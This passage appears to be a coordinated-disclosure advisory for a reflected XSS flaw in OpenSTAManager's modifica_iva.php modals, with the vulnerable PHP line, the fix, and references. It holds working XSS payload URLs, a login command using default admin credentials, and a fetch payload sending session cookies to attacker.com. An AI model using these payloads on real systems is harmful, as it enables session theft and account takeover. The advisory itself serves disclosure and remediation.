The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.\n    \n    **Vulnerable Code Location:**\n    File: `/modules/contratti/modals/modifica_iva.php` (Line 125)\n    \n    ```php\n    <input type=\"hidden\" name=\"righe\" value=\"<?php echo $_GET['righe']; ?>\">\n    ```\n    \n    The `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.\n    \n    **All Affected Files:**\n    \n    1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**\n    2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**\n    3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**\n    4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**\n    5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**\n    6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**\n    \n    ### PoC\n    \n    **Prerequisites:**\n    - Running instance of OpenSTAManager v2.9.8\n    - Valid admin credentials (username: admin, password: admin for test instance)\n    \n    **Step 1: Login**\n    ```bash\n    curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n      -d 'username=admin&password=admin'\n    ```\n    \n    **Step 2: Trigger XSS**\n    Navigate to the following URL in a browser (or use curl with cookies):\n    ```\n    http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.domain)</script>\n    ```\n    \n    **Tested URLs (All vulnerable):**\n    - `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n    - `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1\"><script>alert(document.cookie)</script>`\n    - `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n    - `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n    - `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n    - `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n    \n    **Expected Result:**\n    JavaScript alert popup displays showing the current session cookie, confirming code execution.\n    \n    **HTML Output (verified on live instance):**\n    ```html\n    <input type=\"hidden\" name=\"righe\" value=\"\"><script>alert(document.cookie)</script>\">\n    ```\n    \n    **Verification:**\n    \n    <img width=\"1260\" height=\"99\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473\" />\n    \n    <img width=\"2060\" height=\"1180\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0\" />\n    \n    **Alternative Payloads:**\n    Session stealing: `\"><script>fetch('https://attacker.com/?c='+document.cookie)</script>`\n    \n    ### Impact\n    \n    \n    **Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules.\n    \n    **Attack Scenario:**\n    1. Attacker crafts malicious URL with XSS payload\n    2. Attacker sends URL to victim via email/chat/phishing\n    3. Victim (authenticated user) clicks the link\n    4. Malicious JavaScript executes in victim's browser context\n    5. Attacker can:\n       - Steal session cookies \u2192 Full account takeover\n       - Perform actions on behalf of victim (create/modify/delete records)\n       - Steal CSRF tokens and bypass CSRF protection\n       - Redirect to phishing page\n       - Inject keylogger to capture sensitive data\n       - Modify page content to trick user into revealing credentials\n    \n    \n    **Recommended Fix:**\n    ```php\n    <input type=\"hidden\" name=\"righe\" value=\"<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>\">\n    ```\n    \n    Apply this fix to all affected files listed in Details section.\n    \n    ## References\n    \n    - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-24415\n    - https://github.com/advisories/GHSA-jfgp-g7x7-j25j\n    \n    \n    ## Disclaimer\n    \n    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices.
